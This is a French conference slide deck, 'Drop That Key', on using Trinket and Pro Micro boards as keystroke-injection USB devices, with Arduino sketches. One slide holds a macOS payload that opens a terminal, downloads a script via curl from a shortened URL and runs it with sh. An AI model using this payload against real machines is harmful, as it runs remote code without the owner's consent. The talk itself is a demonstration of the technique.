DROP THAT KEY (🐭)
Aurélien LOYER
Nathan DAMIE
Aurélien LOYER
@AurelienLoyer
Zenika Lille
Nathan DAMIE
@Nathan_DAMIE
Zenika Lille
La carte
La CARTE
Trinket
Référence : Adafruit Trinket - Mini Microcontroller - 5V Logic
Architecture: AVR
Technologie :8-bit MCU
Tension de fonctionnement : 2.3 - 16 V
Long Larg Haut : 26 x 15.5 x 5
#include <TrinketKeyboard.h>
void pressEnter() {
TrinketKeyboard.pressKey(0, 0x28);
delay(10);
TrinketKeyboard.pressKey(0,0);
delay(300);
}
void setup() {
TrinketKeyboard.begin();
delay(500);
// Go to tiny url => "goo.gl/Cfq56P"
TrinketKeyboard.print("goo<gl>cfa%^P");
delay(100);
pressEnter();
}
void loop() {}
applaudissements
L'autre carte
l'autre carte
Pro Micro
Référence : KOOKYE Pro Micro Module Board ATmega32U4 5V/16MHz
Architecture: AVR
Technologie :8-bit MCU
Tension de fonctionnement : 5 - 8 V
Long Larg Haut : 34 x 15.5 x 5
#include "azertykeyboard.h"
const int upButton = 20;
const int downButton = 18;
const int leftButton = 21;
const int rightButton = 19;
const int aButton = 6;
const int bButton = 6;
void setup() {
pinMode(upButton, INPUT_PULLUP);
pinMode(downButton, INPUT_PULLUP);
pinMode(leftButton, INPUT_PULLUP);
pinMode(rightButton, INPUT_PULLUP);
Keyboard.begin();
}
void loop() {
if (digitalRead(upButton) == LOW) {
Keyboard.press(KEY_UP_ARROW);
Keyboard.release(KEY_UP_ARROW);
}
if (digitalRead(downButton) == LOW) {
Keyboard.press(KEY_DOWN_ARROW);
Keyboard.release(KEY_DOWN_ARROW);
}
if (digitalRead(leftButton) == LOW) {
Keyboard.press(KEY_LEFT_ARROW);
Keyboard.release(KEY_LEFT_ARROW);
}
if (digitalRead(rightButton) == LOW) {
Keyboard.press(KEY_RIGHT_ARROW);
Keyboard.release(KEY_RIGHT_ARROW);
}
delay(300);
}
COmment j'ai hacker ma mère
#include "Keyboard.h"
void setup(){
// Begining the Keyboard stream
Keyboard.begin();
delay(1000);
Keyboard.press(KEY_LEFT_GUI);
Keyboard.press(' ');
Keyboard.releaseAll();
delay(1000);
Keyboard.print(F("ter;inql")); // terminal
delay(500);
typeKey(KEY_RETURN);
delay(500);
// curl -L goo.gl/Nedj8n -o /tmp/script.sh
Keyboard.print(F("curl =L goo<gl>Nedj*n =o >t;p>toto<sh"));
typeKey(KEY_RETURN);
delay(500);
delay(500);
typeKey(KEY_RETURN);
delay(100);
// sh /tmp/script.sh
Keyboard.print(F("sh >t;p>toto<sh"));
delay(500);
typeKey(KEY_RETURN);
Keyboard.end();
}
void typeKey(uint8_t key)
{
Keyboard.press(key);
delay(50);
Keyboard.release(key);
}
Trinket
- Très petit
- Facile à prendre en main
- Driver introuvable sur MAC
- Boot 5 minutes
Pro micro
- Un peu plus gros
- Souci avec le clavier AZERTY
- Boot directement (❗️)
Exemples
Bien || MAL
Exemples
- Automatisation d'actions
- Clavier / souris / manette custom
- Hacker une usine nucléaire
- ...
PLUS Exemples
T3kstiil3/drop-that-key
trick
Astuce
Éviter de "s'auto-hacker"
#include "Keyboard.h"
int RXLED = 17;
void setup(){
pinMode(RXLED, OUTPUT);
// ACTIVE OR NOT HACK
// PUT JUMPER ENTER 7 && 14 TO PREVENT HACK
pinMode(7, OUTPUT);
digitalWrite(7, LOW);
pinMode(14, INPUT_PULLUP);
if(digitalRead(14) == LOW){
blinkNoHack();
}else {
// Malicious Code ;)
}
}
void blinkNoHack()
{
delay(1000);
digitalWrite(RXLED, HIGH);
delay(1000);
digitalWrite(RXLED, LOW);
delay(1000);
digitalWrite(RXLED, HIGH);
delay(1000);
digitalWrite(RXLED, LOW);
}
/* Unused endless loop */
void loop() {}
TRUE STORY
PEtite histoire
Tester sur le terrain
Tu n'as pas une clé ?
Perte de confiance 😢
TU veux MA souris ?
Questions ?
Merci
Vous avez été supers !
Drop That Key
By Aurelien Loyer
Drop That Key
- 2,003